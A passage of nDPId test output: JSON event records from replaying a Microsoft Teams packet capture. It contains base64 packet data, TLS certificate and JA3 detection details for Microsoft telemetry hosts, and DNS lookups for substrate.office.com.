GUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02361{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1501,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":430816,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVARAAGwGcd40ck0hwKgBBgG77IQbiSYgF+H61oAQBAUL2AAAAQEICmEe+38whLI\/LnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00425{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1502,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":430891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyEAbsX4frWG4krwIAQD6+b9wAAAQEICjCEsnFhHvt\/"} +02217{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1503,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":431072,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfVAVAAGwGclI0ck0hwKgBBgG77IQbiSvAF+H61oAYBAVk4gAAAQEICmEe+38whLI\/BM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdIFmAFbN6pEW7KsGaZYeH9XkA5bDQyl7+p6tUu1Mmf\/12BAEBAInrImOTUJcbCIQhdFRlAi3IWodeZq3y\/CMsb8IHyRAKdguL6HVOMPEMCjN5\/h6+bQOYvmkJNymua9YYwLCgJPZydwWvzjcG53SXOc6pk8\/Mrbq\/tArMd1+ucmZQYW7GGuy\/c2vDUTAELDZuXxWJ2yYh64vhA6mFlGcF\/DVHqgghv4bhk6A4KK64jygxjd5enDraCuJpfckEe6ASLLIW8qZDRlb1eGsVeJKluno5vSmx9sIhuYoA0jCfPC8xi\/WJYcHpQ\/+NzumoFHPo914gQZKU8AWtCe5f+AWv0f8LkMhch75nRssezrgIjd2xDyUaq9dlODpz+BfPMEMxxBygMaoOAAAA"} +01300{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1503,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":8,"flow_first_seen":1587041683333,"flow_last_seen":1587041683431,"flow_tot_l4_data_len":4685,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60548,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00425{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1505,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":431113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyEAbsX4frWG4kw64AQD9aWpQAAAQEICjCEsnFhHvt\/"} +00553{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1506,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":432261,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIeyEAbsX4frWG4kw64AYEABxswAAAQEICjCEsnJhHvt\/FgMDACUQAAAhIHlHECyVYXiIWBhXkzZvQlMWaCVu+lDMYkV1pzAo97ByFAMDAAEBFgMDACgAAAAAAAAAAM38DY8prudyLmt15rCEEidJ0bawdrQJHah5FREcDBRP"} +00496{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1509,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":477093,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnVAZAAGwGd0k0ck0hwKgBBgG77IQbiTDrF+H7M4AYBAWmfgAAAQEICmEe+60whLJyFAMDAAEBFgMDACgAAAAAAAAAABrg34hnZWwieIala85MwkRBQ90\/5OmnCY8VKC399k19"} +00426{"flow_id":35,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1510,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":477199,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyEAbsX4fszG4kxHoAQD\/6VkgAAAQEICjCEsp5hHvut"} +02369{"flow_id":35,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1511,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":478319,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyEAbsX4fszG4kxHoAQEAAbdwAAAQEICjCEsp9hHvutFwMDKRAAAAAAAAAAAUUODMzgm2m0aoacC4EX+KtbEScdeMAK8412cD4b9DmS8SjTSHKvAOmVeSGJn16AqYWZmcvQArPdqGVAa8r0muKYlib0Ph53agjTjh3CFxVN+ZYmpiK7QB4b3OXAr09AS4sL+nSfVxS1eomdRwaTw\/UyJpGEHoYRv1lG8aBkQfL4BYTfiJgzA8JJ8CbWmK\/IX1Sa9g7asV2DFYoqEJekKJNmUfy8Okwx+V812rmCuo1WTsN0eO4og4VYhWm3ZNstwHwd0tjzaY5WtuiyVoVYAcGJ5rvPOTSDY+S\/g8eAEu6uoF+TiOVFbAcZIj868kWhmK68WtkPfuulXa3PjL7gW13uASH7cjkN3JzW0NiPAzu01GKehulwmylzYfxgKzifvBYVI9GpssFmvpuKWCDwLtb8qYAn4cbkzhZtbBDWOzgc0zlHFEC+G1j2Zqu4pbCFYWQnuXfhRP0DWZ45ISPd8lqbhXTSu6P3\/q+7hpHMD+wTK\/PyK5byrUA\/yP\/L1GDVs3vATRCyd5CnFdSyvwJtO8xP7XzpzPccyueKOINJk+jT9Fyl5nocED5eACbt9jjwuwsdWGXg9QWSY6Sgy4TYGaYF0CKXzb9tOEzs8SJVfyi4wG2GLSM0w12n6MdjaIyRERwfMLLDtS8426A24VdAw+L6W4E76QmccgDyjf014llRFYyTJ1Jxo7Hi7l8rqPLrjWcb05PY4RinWEXvqI\/jeKG3ydAeRkzUZ7KhWlaOJfbF2Tv1Q20Y4jJsqfX0Z+UwQ1neAU+3iiiqbS\/9Tl5c6idqWqCLaR982rnr3BdNyQnmCPg6DlRyExKVCS2\/qHnmFQ4v911+8T9eVXqEeOXrHxbJHjx5z8wYL90qNk7+IIBlrpIZqq5RBBngF5hR0Pi6gLcqsG8HZmLUUxq6F6OgZDLr3lmB37h0SNMU1\/\/mAXTkZIRWyP\/\/zPNh39ZonP3jeduE6hHt5il2UEo8PiSW9e40\/1csUFxafcrpoh153SD0JCjPW3XrlJb+Txj5rIXq2DApKbZBNUlRXoDuPgnSERUqJYEpt7WSOPYf\/RjNUkMpMb0iipOv9ugkzxstSoUOUjd2\/MALglKdfr3M\/km5DywP\/NX2UP+1kEaouZfK+PvW3uDcxYUxDKaq7iv6w3id6uwx\/Qfpyb+hMyWr7jPSzUKicMqTlCPlI5fw3O\/nNDLwk+NhXFxluUFooY6Bnfcu9pZA+SUMpPN0o5U6oUdPolyLvaNj0nalL4jSCnUoprrsqDKxaN2TG\/Z7oQBxIe7Loi5OASU6EUmeAr6dgBNjHVdQA1Tuayl6zspa5NQD7pGA8IZ7Q4KSVmZCTLJAAl2ZtIEynPh8WAZHGSYm3ZGPtL3BhFnVROYuOVp75VTV3xBCM5KBLrqHcHqY0wdSIU3e5g41wNyPFgFlXCzZBYTJQXyHKGAc\/FjdqI0Mt7YQ0GB6+6MxUvJFWvqEYtnxuw0L55Lfmdd7GSBqEnT00Z4ImR4gEXr6BvMiN4vlfZt4otMi1yJpVvVGr5\/ejGllwBlw++t3eYmM8ZoFsuv7S3B1j6B0NJpn0ZBnauTr6CTQsKHM3w9VEkU14REYHdGRvI+mL1E1lJdFylFGldpV1adyOAiRVPii1JDutGRXmeDTUe+mknu1\/FHrOpCE3GdX\/YxCfOn4gd76t2mUGOGl2gu0cUVJalsSKsW+ovtYS8n4+fPcszXYQlsph3OTA1Pw\/5VfARnCRJkRvJuhNNQEg+0iMONm98AEk\/OqswZ3DQ6RYuCXGdwE78WxRk2EFm\/OH\/jMSGBNwCQtN9FOrUMIX\/wxGpDpzdBCFpTyHwom\/h4G3WfSx\/HBKBrGKWg1wG++r6JNhNCcTxR2D5Sv8u+KvNcDqkvd7rv\/UWaJ"} +02369{"flow_id":35,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1512,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":478323,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyEAbsX4gDHG4kxHoAQEAA0ywAAAQEICjCEsp9hHvut41HNShvkoqONiQ48LSVK+ZOos8GcBweE0RqlKz1BGCZnz5h6aGdzM9OMZh+4feRCuiZFwnG4ScZh55PD+BUZNuS0tJR9lGTgVcJQl9odAQcL6tqLwsUtRu3Q9ql5fSztbsr49CaQ0zKk2MUtI98aM8EHUufSEmBGW3REAZtwWbVHwe\/mXpSJa9Ra3DPPEKfkntknolh3tvrnc83QFHrUNFbcO5JDtPKvVqSx4l9IQFtbbGHqtWsC4yBQ5i16bj2SMJl8hg7b5CT09JqqHP7amRnysRsbSP7eAVVlQryFpQOq\/ixRkVWPcul1UbCrvlkd9hAQd96f9Frf+zixTYGiiRzEqadQzmYBnFrgdEK+ZMFpj3NSoBhPjlTTl\/ZOaw8\/uW\/Urm\/G78rYQDzFk9BDbWh7lxY\/7RKYqicAV2++EGYrJlSf\/4ssZDSWPRjdGtlnsaP3tc+s1iH1Miy4M8EuuBPyMYaWol2xJ1dcEBb+D4msWBHvojOqT8YAmXhRNfaIanQzH5UulM24R1Vj0+fua7Pw3J1\/cOXvBo9\/KhW1lvpvDyQ3dspXRWGTbKoSoGKIVzDc4EFvjf+EVgfhhc5lFAQZT8BPDgqRSCBv60nJ3Jetc5K1YrKQH3XrYPoaTjVbDNaxgeoBsiEmTbL1I0liv4sEbbylYJ90JixfYUJ59syLnDkryhXCAVRzmglcMFIJFkm6F2373\/Wp9p7w2sp0fnj3CadvL6Ob147OCapnOFRnjizLiAvgnGfvZq9d30zvnd2MV5dyA3ecwN\/98q6Fodf4LXqw00ljM0+Kt3js3SASDuBhVvPtRj7J5TWTE9eEecnsbVUz1aaJOowWMhXak2\/0lLnI+lRCYZKl7zq02THsti7YS3DHKnSF1j4BIl4hCmOstEAy8THUTmkSAIOqr8PjdvkJMCiBzg6qBeQPml\/pnxRRJlaT9kYcAkpUx\/xc+wt+euiWxKJhT1QqL7lb0KukLo5KhVCvssxxkJJOzVinrhN4n+ymyDDzsq+hijJ333Cxg7AW\/mPFJW1bjSn09D4STieFX4scRrfDYumkTC1k8iI8DHf+bW2y3\/hHMWti0yZb\/Vs1ZHKw\/8QaYN5rZaGRJ7otqKsxw8tu25cOW\/1iPQZpd4OZviEQpWBlsf0ToRt8+gONS5lg3PX8hkvldMidVPsK5ZB63RX5FmCkYTbklrICM4Kz2MW\/nQtP6aIK9vXostvElrJH32rxa0EiFTk3SigaQewlv9a3xL\/SG8\/Vk7oWPOUqzH80J+\/xiihydKdN87ntPVZGFYPWx+QI\/i6JvsyB8oZGWJ5CyNmTzBGfO+LHDMnAHpnvsjEHGbN9Hpd6fTJUHBuVERVKDZ+5Q8fALmKTZBiWSVcTZ5fyM3psS5tJExt0TAuNuHtzI40mL8JU6DxYgwuEahHuvaJsb1nmsdVDzPgMLG6asrA8Irdj3BD3G53X3jlIZ9Lur0pNae0mgRuvB7WmyfHcQ0IaVBzi5aelPJCZT9xTfna5EavaYm0SoC5aA8glJGjbts39z9R9\/uE4SCyLwkXAxQKIgvIlQz8NpaIrsue1kprezwYr41XgfAextKBbDpuWhJ1Of3uwd4u7Xbi2ggS7dFdM5\/+26lxKeE1ySnK5f7Oy4cblRYeaqX9jl13ySDSCjRag3Jd8ZoRX6XSP7\/WSYCmnYTyF4JCQrIGAFoYsjJ+EauuIFux60a7YoHfImyhsd4JospcwHLyzfBPKI9EcM5abIyYyVd5ZlAPKfv74TZEek1GXZNor50zZ2BvyKQ+bEgzy3qA1V0S\/eG009BGaKmw\/uPv0yq5kIV\/l0UWlHKLZuYHla98kfnqO90AD9PzZXe\/IqxTFLGmOmcv6gCh7n\/wtt9u0q0DDZYee\/D7pF0SIiArzmlgL"} +02366{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":478325,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyEAbsX4gZbG4kxHoAQEADx9gAAAQEICjCEsp9hHvutDHcc6klo6KPNM\/o34DlMc1ibh02AeqxSFguVn0wjv2VBZ0Uy2yjqYc5jWwho+xIl5aFaD98VMWIrCG0\/OdNBEK82cBBsZa5JVCcYSMZ8k4dNNSH1mYpYEcLqvd8UOhGdqjjFIp0N1D+XhCCV+1O4VcuqBth6zKbwPyKBmzqgJu1akbfmUT+L+iuzUFYMnc\/h4nCsCJd158nFYa76wgSFedaCApeMH7GJ0KPUsQ5syc1J+oGFU16iFpZCPRORSz\/MrtwphqEWC+s1YGpRHaVHlNvALGyK+y\/2+\/TvmmPzplwOJA5zBWbuv2BJKLFoFTGSy1jOYY6RNWxB\/ZMdLL\/K1B3Dg3ml6tOR1Epk9ca8bl+3UUkkp0CCyeWTNk9p3btiLZ6ouLe2w+mc7bBM2798faPPaS0pAwFVS8rTPSh2bO\/2aBvWrqB\/zCLD6dgj14JqpC5qcboCYDdQaAlq6IqNWyW3ummOJmnBLqKzTV2Vu7IPs3tloj64MTEiG2mhuNVItgYG9hqKQrL7HCC3WoCSjuOf+07RIYY1sYYtyjtOTzVaJ2PA8LtmzItJLNgTZ40x+uWZmxgiEPEWqPEK\/w2HA\/i9Iup2s7hjqJ0rnbXna93wRPqpmEjh086UoDYUTKqBoyADI90ORGt5+VANfWNpg9wL4LFzRf1lYOuD8HZMV6Y65Mj8X9fVc3+e94N1EbLc+8YizKV\/+p4grn0w6zP\/KL9SJjkd1vveXC3pGJEBXRHmQkUUbijxaRZh5vSyI3FNxllOpRtWv0VKaNZ80wFiB7Jv+3M3g9YQ9m3Yj328FjMxFv29V16GmoCGaxvSwxGlBVLC45EpnwWqB6oTbemsqU7c3TOadjxaNMpztZ6xfJNG9CRQ7kSQdwxPpbWk\/CQD0X4GvF71DS2151YMZJ5waUgJD+tIYhG+TbJ+kCxhi4xBoo9Dzco1vNd2FNIf3o13omRdlM4t9aTYNwzxJuY9hrXkXwEArBWhcGfxga1I1ForDLN84XDpE+1O9WNrTkd3ZfzqgJOm1OnEMWBSF4tJsmvLON2uH\/AJ05AzOvjl467HIrQ6Lz1tLInUvwI01pRMg\/P\/tDOg52jrj9rVGkFuqhcS8JMgu2Pl0kyAT0u5v8RGK7hSRn2rVVsnGr+I1OEj8i5o9M3BK82HXYzo+gg4wYbdAKpY48dNJbbAyFQDvaHhQ\/PTVZX1swJtnVN41ka6qjxYlHRt7jxBaHe60FUHdh8jirySuknOvTZHIqIlApkZto28LhsC7RMTsxzW773z0d19kEPAxEVD\/hymACh1ENMbIlknGUIBoM3rAq9Sjqushq6edWyRwXdkd8V1wuMnnEzZdJfslGQ2R2Ze5qt3WwXdsDt8UXz7giku8wB7BweHAeoIxWhSWO\/qow\/rrr72qZRZnJS2HVDayPVZ5U2lfACJOnVI62VMHKp+yLOOVwu5ZLgLSsMmk9cTU5M0I0qdaiuLkxRnmfN2NAHEz2GOX2KflxOvplnt5ym7kLiJvQvQWXuIjwepcwoZTE8g3C+1SHA5OZIsZiQIgvk\/wbEKGYguOlbR4tw9CQk\/0u8q2RmnX+OShSmEH+2PxeRA2cu0PKi3Qfy9f3UarU7W87rgVjj5rxeSEl\/QAGrDSQM2qwQfLfNuj5\/ME4MMwZw4D\/oWnhr4TX3TLY9Cee3mCV49Ootz4LtlMTb9Bks67ue3P+poGWHIH7HFDr\/2ZyLxTFAPx5nAdxPdOqeLnE7bmbOMBM1t9sMhNzaWT1pgyojF92fKUG\/5JJ7P7h7hztYsnZ77KB4r+JhCm0\/BwDnubdUfF725ro0KvmEwbuH+Wq+EVkWY44J72rxSTMj1dFHHzY589FN7F8Z11X6wEwEnbD0giqOfLrGogRIKiVptmo6fJjc3g\/gB"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1533,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":611241,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1533,"source":"teams.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1587041684291,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":59403,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":291077,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"EBMx8Tl2KDc3AG3ICABFAABC19sAAP8RYHfAqAEGwKgBAegLADUALnZLN+4BAAABAAAAAAAACXN1YnN0cmF0ZQZvZmZpY2UDY29tAAABAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1587041684291,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":59403,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"substrate.office.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00627{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1686,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":304618,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"KDc3AG3IEBMx8Tl2CABFAADIzNlAADkR8PPAqAEBwKgBBgA16AsAtAAAN+6BgAABAAUAAAAACXN1YnN0cmF0ZQZvZmZpY2UDY29tAAABAAHADAAFAAEAAABCABQJc3Vic3RyYXRlB21zLWFjZGPAFsAyAAUAAQAAABYACAVhZmQta8AWwFIABQABAAAAGQAoEm91dGxvb2stb2ZmaWNlLWNvbQZrLTAwMDIIay1tc2VkZ2UDbmV0AMBmAAUAAQAAAKAAAsB5wHkAAQABAAAAoQAEDWsSCw=="} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1686,"source":"teams.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":2,"flow_first_seen":1587041684291,"flow_last_seen":1587041684304,"flow_tot_l4_data_len":226,"flow_min_l4_data_len":46,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":59403,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"substrate.office.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"13.107.18.11"}} 